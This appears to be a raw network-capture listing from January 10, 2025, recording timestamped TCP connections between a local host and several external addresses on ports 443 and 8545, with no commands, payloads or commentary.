Jan 10, 2025 20:49:40.352440119 CET	49781	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:40.352821112 CET	49781	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:40.352837086 CET	443	49781	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:40.464093924 CET	443	49775	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:40.464221001 CET	443	49775	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:40.464281082 CET	49775	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:40.465292931 CET	49775	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:40.465315104 CET	443	49775	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:40.524329901 CET	443	49776	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:40.524435997 CET	443	49776	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:40.524512053 CET	49776	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:40.525247097 CET	49776	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:40.525269985 CET	443	49776	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:40.532267094 CET	49782	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:40.532332897 CET	443	49782	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:40.532426119 CET	49782	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:40.532670021 CET	49782	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:40.532686949 CET	443	49782	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:40.819582939 CET	443	49781	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:40.819865942 CET	49781	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:40.819890976 CET	443	49781	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:40.820262909 CET	443	49781	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:40.821331978 CET	49781	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:40.821403027 CET	443	49781	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:40.821487904 CET	49781	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:40.861747026 CET	49781	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:40.861767054 CET	443	49781	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:40.935168028 CET	443	49781	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:40.935233116 CET	443	49781	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:40.935463905 CET	49781	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:40.935583115 CET	49781	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:40.935605049 CET	443	49781	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:40.935615063 CET	49781	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:40.935655117 CET	49781	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:41.007155895 CET	443	49779	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:41.007838964 CET	49779	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:41.007854939 CET	443	49779	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:41.008203030 CET	443	49779	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:41.008527040 CET	49779	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:41.008596897 CET	443	49779	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:41.008729935 CET	49779	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:41.008754969 CET	443	49779	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:41.010767937 CET	443	49777	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:41.010967016 CET	49777	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:41.010982990 CET	443	49777	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:41.011359930 CET	443	49777	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:41.011640072 CET	49777	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:41.011704922 CET	443	49777	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:41.011749983 CET	49777	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:41.011770010 CET	443	49777	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:41.051765919 CET	49777	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:41.250943899 CET	443	49782	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:41.251329899 CET	49782	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:41.251362085 CET	443	49782	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:41.251720905 CET	443	49782	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:41.252027035 CET	49782	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:41.252100945 CET	443	49782	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:41.252197981 CET	49782	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:41.299335957 CET	443	49782	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:41.359854937 CET	443	49779	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:41.359982014 CET	443	49779	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:41.360043049 CET	49779	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:41.361181021 CET	49779	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:41.361207008 CET	443	49779	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:41.363775969 CET	49783	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:41.363826990 CET	443	49783	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:41.363918066 CET	49783	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:41.364626884 CET	49783	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:41.364639044 CET	443	49783	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:41.371612072 CET	443	49777	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:41.371731997 CET	443	49777	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:41.371799946 CET	49777	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:41.372805119 CET	49777	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:41.372833014 CET	443	49777	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:41.650393963 CET	443	49782	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:41.650490046 CET	443	49782	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:41.650633097 CET	49782	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:41.651201963 CET	49782	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:41.651227951 CET	443	49782	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:41.768821955 CET	443	49709	142.250.186.36	192.168.2.17
Jan 10, 2025 20:49:41.768902063 CET	443	49709	142.250.186.36	192.168.2.17
Jan 10, 2025 20:49:41.768958092 CET	49709	443	192.168.2.17	142.250.186.36
Jan 10, 2025 20:49:42.131814957 CET	443	49783	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:42.132141113 CET	49783	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:42.132169962 CET	443	49783	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:42.132512093 CET	443	49783	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:42.132879972 CET	49783	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:42.132951021 CET	443	49783	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:42.133064985 CET	49783	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:42.175333023 CET	443	49783	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:42.188687086 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:42.188730955 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:42.331342936 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:42.331357956 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:42.433952093 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:42.435512066 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:42.438767910 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:42.440345049 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:42.443571091 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:42.519257069 CET	443	49783	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:42.541945934 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:42.567770004 CET	49783	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:42.567806005 CET	443	49783	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:42.569828987 CET	49783	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:42.569957018 CET	443	49783	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:42.570023060 CET	49783	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:42.571995974 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:42.576860905 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:42.696253061 CET	49709	443	192.168.2.17	142.250.186.36
Jan 10, 2025 20:49:42.696295023 CET	443	49709	142.250.186.36	192.168.2.17
Jan 10, 2025 20:49:43.188250065 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:43.188513041 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:43.193207026 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:43.193250895 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:43.300420046 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:43.344743013 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:43.435456991 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:43.438500881 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:43.443348885 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:43.487751961 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:43.542052984 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:43.582817078 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:43.977382898 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:43.982254028 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:44.076029062 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:44.076145887 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:44.077059984 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:44.077219009 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:44.077440023 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:44.077544928 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:44.081912994 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:44.082012892 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:44.082139015 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:44.082252026 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:44.082344055 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:44.172597885 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:44.173002005 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:44.173002005 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:44.177989960 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:44.200201988 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:44.200248957 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:44.205177069 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:44.205199957 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:44.268492937 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:44.268594980 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:44.331329107 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:44.336903095 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:44.341787100 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:44.373790979 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:44.440247059 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:44.482861042 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:45.194138050 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:45.194189072 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:45.199153900 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:45.199174881 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:45.270234108 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:45.270379066 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:45.270432949 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:45.275192022 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.275207996 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.275381088 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.275392056 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.293921947 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:45.298830032 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.300510883 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:45.328129053 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:45.333049059 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.352773905 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:45.405946016 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.407182932 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:45.424525976 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.424545050 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.424629927 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:45.424771070 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:45.440984011 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:45.445920944 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:45.484217882 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.484230995 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.484312057 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:45.484338999 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.484352112 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.484395027 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:45.551671028 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:45.592772007 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:45.756477118 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:45.761468887 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.761594057 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.906934977 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.906955004 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:45.907020092 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:46.194758892 CET	49675	443	192.168.2.17	204.79.197.203
Jan 10, 2025 20:49:46.195183992 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:46.195240021 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:46.200119972 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:46.200135946 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:46.332196951 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:46.336294889 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:46.341160059 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:46.381805897 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:46.439594030 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:46.493777037 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:46.509778023 CET	49675	443	192.168.2.17	204.79.197.203
Jan 10, 2025 20:49:46.634182930 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:46.635824919 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:46.635876894 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:46.639060020 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.640635967 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.640647888 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.640700102 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.640712976 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.640722036 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.640753984 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:46.640801907 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:46.640860081 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.640870094 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.640906096 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:46.640954018 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.640964031 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.640974045 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.641105890 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.641115904 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.641124964 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.641136885 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.641154051 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.645617962 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.645706892 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.645724058 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.645785093 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.645816088 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.645852089 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.880683899 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:46.880832911 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:47.115797043 CET	49675	443	192.168.2.17	204.79.197.203
Jan 10, 2025 20:49:47.196095943 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:47.196129084 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:47.201033115 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:47.201056004 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:47.331084013 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:47.335875988 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:47.340737104 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:47.385788918 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:47.439024925 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:47.480807066 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:48.186270952 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:48.186311960 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:48.191173077 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:48.191188097 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:48.327791929 CET	49675	443	192.168.2.17	204.79.197.203
Jan 10, 2025 20:49:48.331011057 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:48.332113981 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:48.334352016 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:48.336942911 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:48.339214087 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:48.437664032 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:48.438899040 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:48.443821907 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:49.190448046 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:49.190696001 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:49.195463896 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:49.195494890 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:49.302970886 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:49.310328007 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:49.315202951 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:49.346807957 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:49.413472891 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:49.458801985 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:50.186335087 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:50.186391115 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:50.191297054 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:50.191322088 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:50.296638966 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:50.302716970 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:50.307573080 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:50.344286919 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:50.360513926 CET	49680	443	192.168.2.17	20.189.173.13
Jan 10, 2025 20:49:50.405953884 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:50.454796076 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:50.660801888 CET	49680	443	192.168.2.17	20.189.173.13
Jan 10, 2025 20:49:50.739792109 CET	49675	443	192.168.2.17	204.79.197.203
Jan 10, 2025 20:49:51.185977936 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:51.186044931 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:51.190948963 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:51.190964937 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:51.261817932 CET	49680	443	192.168.2.17	20.189.173.13
Jan 10, 2025 20:49:51.331285954 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:51.335170984 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:51.339953899 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:51.373820066 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:51.438226938 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:51.485781908 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:51.760478973 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:51.760515928 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:51.760597944 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:51.765347004 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:51.765362024 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:51.765387058 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:51.765399933 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:51.765501976 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:51.765516043 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:51.894054890 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:49:51.894144058 CET	49690	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:52.192163944 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:52.192261934 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:52.197168112 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:52.197189093 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:52.346028090 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:52.391904116 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:52.471781015 CET	49680	443	192.168.2.17	20.189.173.13
Jan 10, 2025 20:49:52.486227036 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:52.491179943 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:52.567635059 CET	49800	443	192.168.2.17	104.21.32.1
Jan 10, 2025 20:49:52.567691088 CET	443	49800	104.21.32.1	192.168.2.17
Jan 10, 2025 20:49:52.567857981 CET	49800	443	192.168.2.17	104.21.32.1
Jan 10, 2025 20:49:52.570672989 CET	49800	443	192.168.2.17	104.21.32.1
Jan 10, 2025 20:49:52.570686102 CET	443	49800	104.21.32.1	192.168.2.17
Jan 10, 2025 20:49:52.589173079 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:52.631829977 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:53.040608883 CET	443	49800	104.21.32.1	192.168.2.17
Jan 10, 2025 20:49:53.040695906 CET	49800	443	192.168.2.17	104.21.32.1
Jan 10, 2025 20:49:53.100985050 CET	49800	443	192.168.2.17	104.21.32.1
Jan 10, 2025 20:49:53.101032972 CET	443	49800	104.21.32.1	192.168.2.17
Jan 10, 2025 20:49:53.101401091 CET	443	49800	104.21.32.1	192.168.2.17
Jan 10, 2025 20:49:53.101478100 CET	49800	443	192.168.2.17	104.21.32.1
Jan 10, 2025 20:49:53.103457928 CET	49800	443	192.168.2.17	104.21.32.1
Jan 10, 2025 20:49:53.147336006 CET	443	49800	104.21.32.1	192.168.2.17
Jan 10, 2025 20:49:53.192286968 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:53.192321062 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:53.197186947 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:53.197201967 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:53.346837044 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:53.347809076 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:53.350450039 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:53.352722883 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:53.355293989 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:53.453447104 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:53.454297066 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:53.459256887 CET	8545	49723	3.33.155.121	192.168.2.17
